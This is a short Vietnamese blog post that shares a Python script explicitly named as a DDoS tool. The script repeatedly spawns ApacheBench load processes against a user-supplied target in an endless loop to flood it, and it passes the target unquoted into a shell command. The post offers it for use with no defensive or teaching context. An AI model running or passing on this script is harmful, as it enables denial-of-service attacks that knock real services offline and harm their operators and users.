Tôi Share
© Copyright 2018 Code đây rồi

share code ddos .py

#!/usr/bin/env python
import sys
share code ddos .py

if len(sys.argv) < 3:
    sys.exit("Usage: ddos.py [spawn_limit] [target]")

import subprocess
limit = int(sys.argv[1])
server = sys.argv[2]
spawnlist = []

def new_process():
    return subprocess.Popen("ab -c50 -t60 -r " + server, shell=True, stdout=subprocess.PIPE)

def check_spawned():
    for t_obj in spawnlist:
        proc,pid = t_obj
        if not proc.poll() == None:
            print("-> hit: " + pid)
            x = spawnlist.index(t_obj)
            del spawnlist[x]

def need_more_ammo():
    return len(spawnlist) < limit

while True:
    while need_more_ammo():
        proc = new_process()
        pid = str(proc.pid)
        spawnlist.append((proc,pid))
        print("-> firing: " + str(proc.pid))
    check_spawned()

Trần Thanh Bình

Muốn giỏi phải học, muốn học thì phải hỏi. Chính vì thế, hãy cùng tham gia thảo luận với nhau để tìm ra câu trả lời nếu có thắc mắc nhé!. Xem thêm về tôi

Nếu khung comments không hiển thị thì các bạn hãy liên hệ qua fb Trần Thanh Bình nhé


Cùng tham gia bình luận bài viết này nhé!

» Hãy là con người văn minh từ những câu nói